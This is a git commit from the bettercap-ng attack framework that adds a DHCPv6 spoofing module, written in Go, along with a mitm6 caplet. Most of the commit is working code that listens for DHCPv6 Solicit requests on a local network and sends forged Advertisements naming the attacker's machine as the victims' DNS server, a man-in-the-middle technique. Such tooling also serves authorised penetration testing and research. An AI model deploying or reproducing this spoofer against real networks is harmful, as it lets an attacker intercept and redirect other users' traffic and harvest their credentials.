new: dhcp6 spoofer step 1: get solicit packets and send spoofed advertisements.

This commit is contained in:
evilsocket 2018-01-12 19:54:36 +01:00
commit da57450315
8 changed files with 317 additions and 3 deletions

View file

@ -41,6 +41,7 @@ deps:
@go get -u github.com/jteeuwen/go-bindata/... @go get -u github.com/jteeuwen/go-bindata/...
@go get github.com/elazarl/goproxy @go get github.com/elazarl/goproxy
@go get github.com/google/gopacket @go get github.com/google/gopacket
@go get github.com/mdlayher/dhcp6
@go get github.com/malfunkt/iprange @go get github.com/malfunkt/iprange
@go get github.com/rogpeppe/go-charset/charset @go get github.com/rogpeppe/go-charset/charset
@go get github.com/chzyer/readline @go get github.com/chzyer/readline

13
caplets/mitm6.cap Normal file
View file

@ -0,0 +1,13 @@
# custom prompt for ipv6 ... this is cool, i know :)
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
net.recon on
# redirect http traffic to a proxy
# http.proxy on
# wait for everything to start properly
# sleep 1
dhcp6.spoof on
events.clear
clear

View file

@ -26,6 +26,7 @@ func main() {
sess.Register(modules.NewProber(sess)) sess.Register(modules.NewProber(sess))
sess.Register(modules.NewDiscovery(sess)) sess.Register(modules.NewDiscovery(sess))
sess.Register(modules.NewArpSpoofer(sess)) sess.Register(modules.NewArpSpoofer(sess))
sess.Register(modules.NewDHCP6Spoofer(sess))
sess.Register(modules.NewSniffer(sess)) sess.Register(modules.NewSniffer(sess))
sess.Register(modules.NewHttpServer(sess)) sess.Register(modules.NewHttpServer(sess))
sess.Register(modules.NewHttpProxy(sess)) sess.Register(modules.NewHttpProxy(sess))

290
modules/dhcp6_spoof.go Normal file
View file

@ -0,0 +1,290 @@
package modules
import (
"crypto/rand"
"net"
"time"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/log"
"github.com/evilsocket/bettercap-ng/packets"
"github.com/evilsocket/bettercap-ng/session"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
// TODO: refactor to use gopacket when gopacket folks
// will fix this > https://github.com/google/gopacket/issues/334
"github.com/mdlayher/dhcp6"
"github.com/mdlayher/dhcp6/dhcp6opts"
)
type DHCP6Spoofer struct {
session.SessionModule
Handle *pcap.Handle
DUID *dhcp6opts.DUIDLLT
Domain string
}
func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
spoof := &DHCP6Spoofer{
SessionModule: session.NewSessionModule("dhcp6.spoof", s),
Handle: nil,
}
spoof.AddParam(session.NewStringParameter("dhcp6.spoof.domain",
"microsoft.com",
``,
"Domain name to spoof."))
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
"Start the DHCPv6 spoofer in the background.",
func(args []string) error {
return spoof.Start()
}))
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
"Stop the DHCPv6 spoofer in the background.",
func(args []string) error {
return spoof.Stop()
}))
return spoof
}
func (s DHCP6Spoofer) Name() string {
return "dhcp6.spoof"
}
func (s DHCP6Spoofer) Description() string {
return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
}
func (s DHCP6Spoofer) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (s *DHCP6Spoofer) Configure() error {
var err error
if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
return err
}
err = s.Handle.SetBPFFilter("ip6 and udp")
if err != nil {
return err
}
if err, s.Domain = s.StringParam("dhcp6.spoof.domain"); err != nil {
return err
}
if s.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), s.Session.Interface.HW); err != nil {
return err
}
return nil
}
const DHCP6OptDNSServers = 23
const DHCP6OptDNSDomains = 24
const DHCP6OptClientFQDN = 39
// link-local
const IPv6Prefix = "fe80::"
type DHCPv6Layer struct {
Raw []byte
}
func (l DHCPv6Layer) SerializeTo(b gopacket.SerializeBuffer, opts gopacket.SerializeOptions) error {
size := len(l.Raw)
bytes, err := b.PrependBytes(size)
if err != nil {
return err
}
copy(bytes, l.Raw)
return nil
}
func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
pktIp6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
fqdn := target.String()
if raw, found := solicit.Options[DHCP6OptClientFQDN]; found == true && len(raw) >= 1 {
fqdn = string(raw[0])
}
log.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %s.", core.Bold(fqdn), target, core.Bold(s.Domain))
var solIANA dhcp6opts.IANA
if raw, found := solicit.Options[dhcp6.OptionIANA]; found == false || len(raw) < 1 {
log.Error("Unexpected DHCPv6 packet, could not find IANA.")
return
} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
log.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
return
}
adv := dhcp6.Packet{
MessageType: dhcp6.MessageTypeAdvertise,
TransactionID: solicit.TransactionID,
Options: make(dhcp6.Options),
}
lenDomain := len(s.Domain)
rawDomain := append([]byte{byte(lenDomain & 0xff)}, []byte(s.Domain)...)
adv.Options.AddRaw(DHCP6OptDNSDomains, rawDomain)
adv.Options.AddRaw(DHCP6OptDNSServers, s.Session.Interface.IPv6)
rawDUID, err := s.DUID.MarshalBinary()
if err != nil {
log.Error("%s", err)
return
}
adv.Options.AddRaw(dhcp6.OptionServerID, rawDUID)
var rawCID []byte
if raw, found := solicit.Options[dhcp6.OptionClientID]; found == false || len(raw) < 1 {
log.Error("Unexpected DHCPv6 packet, could not find client id.")
return
} else {
rawCID = raw[0]
}
adv.Options.AddRaw(dhcp6.OptionClientID, rawCID)
var ip net.IP
if t, found := s.Session.Targets.Targets[target.String()]; found == true {
ip = t.IP
} else {
log.Debug("Address %s not known, using random identity association address.", target.String())
rand.Read(ip)
}
iaaddr, err := dhcp6opts.NewIAAddr(ip, 300*time.Second, 300*time.Second, nil)
if err != nil {
log.Error("%s", err)
return
}
iaaddrRaw, err := iaaddr.MarshalBinary()
if err != nil {
log.Error("%s", err)
return
}
opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}}
iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
ianaRaw, err := iana.MarshalBinary()
if err != nil {
log.Error("%s", err)
return
}
adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
rawAdv, err := adv.MarshalBinary()
if err != nil {
log.Error("Error serializing advertisement packet: %s.", err)
return
}
eth := layers.Ethernet{
SrcMAC: s.Session.Interface.HW,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv6,
}
ip6 := layers.IPv6{
Version: 6,
NextHeader: layers.IPProtocolUDP,
HopLimit: 64,
SrcIP: s.Session.Interface.IPv6,
DstIP: pktIp6.SrcIP,
}
udp := layers.UDP{
SrcPort: 547,
DstPort: 546,
}
udp.SetNetworkLayerForChecksum(&ip6)
final := DHCPv6Layer{
Raw: rawAdv,
}
err, raw := packets.Serialize(&eth, &ip6, &udp, &final)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.Session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
var dhcp dhcp6.Packet
var err error
eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet)
udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP)
// we just got a dhcp6 packet?
if err = dhcp.UnmarshalBinary(udp.Payload); err == nil {
switch dhcp.MessageType {
case dhcp6.MessageTypeSolicit:
s.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
case dhcp6.MessageTypeRequest:
log.Info("REQUEST %s", dhcp)
case dhcp6.MessageTypeRenew:
log.Info("RENEW %s", dhcp)
}
}
}
func (s *DHCP6Spoofer) Start() error {
if s.Running() == true {
return session.ErrAlreadyStarted
} else if err := s.Configure(); err != nil {
return err
}
s.SetRunning(true)
go func() {
defer s.Handle.Close()
src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
for packet := range src.Packets() {
if s.Running() == false {
break
}
s.onPacket(packet)
}
}()
return nil
}
func (s *DHCP6Spoofer) Stop() error {
if s.Running() == false {
return session.ErrAlreadyStopped
}
s.SetRunning(false)
return nil
}

View file

@ -11,8 +11,10 @@ import (
type OnHostResolvedCallback func(e *Endpoint) type OnHostResolvedCallback func(e *Endpoint)
type Endpoint struct { type Endpoint struct {
IP net.IP `json:"-"` IP net.IP `json:"-"`
IPv6 net.IP `json:"."`
HW net.HardwareAddr `json:"-"` HW net.HardwareAddr `json:"-"`
IpAddress string `json:"address"` IpAddress string `json:"ipv4"`
Ip6Address string `json:"ipv6"`
SubnetBits uint32 `json:"-"` SubnetBits uint32 `json:"-"`
IpAddressUint32 uint32 `json:"-"` IpAddressUint32 uint32 `json:"-"`
HwAddress string `json:"mac"` HwAddress string `json:"mac"`

View file

@ -43,6 +43,12 @@ func FindInterface(name string) (*Endpoint, error) {
e = NewEndpointNoResolve(ip_part, mac, iface.Name, uint32(bits)) e = NewEndpointNoResolve(ip_part, mac, iface.Name, uint32(bits))
} }
} }
} else if e != nil {
parts := strings.SplitN(ip, "/", 2)
e.IPv6 = net.ParseIP(parts[0])
if e.IPv6 != nil {
e.Ip6Address = e.IPv6.String()
}
} }
} }

View file

@ -9,7 +9,7 @@ import (
const ( const (
PromptVariable = "$" PromptVariable = "$"
DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.address} {reset} {bold}» {reset}" DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.ipv4} {reset} {bold}» {reset}"
) )
var PromptEffects = map[string]string{ var PromptEffects = map[string]string{

View file

@ -170,7 +170,8 @@ func (s *Session) Start() error {
s.Env.Set(PromptVariable, DefaultPrompt) s.Env.Set(PromptVariable, DefaultPrompt)
s.Env.Set("iface.name", s.Interface.Name()) s.Env.Set("iface.name", s.Interface.Name())
s.Env.Set("iface.address", s.Interface.IpAddress) s.Env.Set("iface.ipv4", s.Interface.IpAddress)
s.Env.Set("iface.ipv6", s.Interface.Ip6Address)
s.Env.Set("iface.mac", s.Interface.HwAddress) s.Env.Set("iface.mac", s.Interface.HwAddress)
if s.Queue, err = packets.NewQueue(s.Interface.Name()); err != nil { if s.Queue, err = packets.NewQueue(s.Interface.Name()); err != nil {